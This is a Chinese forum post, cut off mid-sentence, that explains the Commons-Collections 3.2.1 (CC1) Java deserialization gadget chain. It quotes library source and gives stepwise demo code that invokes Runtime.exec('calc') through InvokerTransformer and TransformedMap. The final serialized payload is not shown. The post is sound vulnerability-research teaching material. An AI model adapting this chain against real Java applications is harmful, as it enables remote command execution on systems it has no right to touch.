用户国营 发表于 2023-4-4 14:05:20

Commons-Collections1反序列化

JDK版本为jdk8u65

commons-collections版本为3.2.1

InvokerTransformer

CC1的漏洞点在InvokerTransformer,InvokerTransformer下有一个transform方法:
public Object transform(Object input) {
    if (input == null) {
      return null;
    }
    try {
      Class cls = input.getClass();
      Method method = cls.getMethod(iMethodName, iParamTypes);
      return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
      throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
      throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
      throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}这里的transform接受一个任意的Object类型输入,而且反射调用的参数都可以控制,那么这里就可以实现任意方法调用。
先写一个通过反射调用函数的demo:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] args) throws Exception{
      // 创建Runtime对象
      Runtime r = Runtime.getRuntime();
      // 创建Class对象
      Class c = Runtime.class;
      // 使用getMethod方法从Runtime类中获取exec方法
      Method method = c.getMethod("exec", String.class);
      // 使用invoke方法调用method对象表示的方法
      method.invoke(r,"calc");
    }
}https://img2023.cnblogs.com/blog/1417438/202303/1417438-20230322152210712-903631063.png
接着,将这个demo改写为通过InvokerTransformer调用,先看一下调用InvokerTransformer需要传什么参数,结合上面InvokerTransformer中transform方法,我们应该传的参数为:"exec"、new Class[]{String.class}、new Object[]{"calc"}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}那么将我们的demo改写为:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) throws Exception{
      Runtime r = Runtime.getRuntime();

      new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    }
}https://img2023.cnblogs.com/blog/1417438/202303/1417438-20230322155042815-1361954509.png
下一步的目标就是寻找哪个类也调用了transform方法。
TransformedMap

这里发现TransformedMap类中的checkSetValue函数中对valueTransformer调用了transform方法:
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}接着,在TransformedMap中发现下面这段代码调用了valueTransformer :
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}然后又发现下面这段代码调用了TransformedMap:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}于是,可以将demo改写为:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

public class CC1 {
    public static void main(String[] args) throws Exception{
      Runtime r = Runtime.getRuntime();

      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});

      HashMap<Object, Object> map = new HashMap<>();
      TransformedMap.decorate(map, null, invokerTransformer);
    }
}AbstractInputCheckedMapDecorator

接下来,需要找到如何调用checkSetValue,通过idea查找用法发现在抽象类AbstractInputCheckedMapDecorator中的MapEntry类调用了这个方法。
static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
      super(entry);
      this.parent = parent;
    }

    public Object setValue(Object value) {
      value = parent.checkSetValue(value);
      return entry.setValue(value);
    }
}这里的MapEntry在遍历Map的时候会被调用,接着改写demo代码:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
      Runtime r = Runtime.getRuntime();

      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});

      HashMap<Object, Object> map = new HashMap<>();
      map.put("key", "aaa");
      Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

      for (Map.Entry entry:transformedMap.entrySet()) {
            entry.setValue(r);
      }
    }
}这样一来,当我们遍历Map进行setValue的时候就会形成一条调用链:MapEntry -> setValue -> checkSetValue -> valueTransformer.transform,而valueTransformer就是我们通过TransformedMap.decorate(map, null, invokerTransformer)设置的invokerTransformer。
调试一下demo代码:
https://img2023.cnblogs.com/blog/1417438/202303/1417438-20230322164457943-1412160184.png
AnnotationInvocationHandler

继续寻找在哪个类里面调用了setValue方法,发现在AnnotationInvocationHandler类的readObject方法中使用了memberValue.setValue:
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
      annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
      // Class is no longer an annotation type; time to punch out
      throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
      String name = memberValue.getKey();
      Class<?> memberType = memberTypes.get(name);
      if (memberType != null) {// i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                  new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
      }
    }
}通过观察AnnotationInvocationHandler类可以发现memberValues是可控的:
AnnotationInvocationHandler(Class
页: [1]
查看完整版本: Commons-Collections1反序列化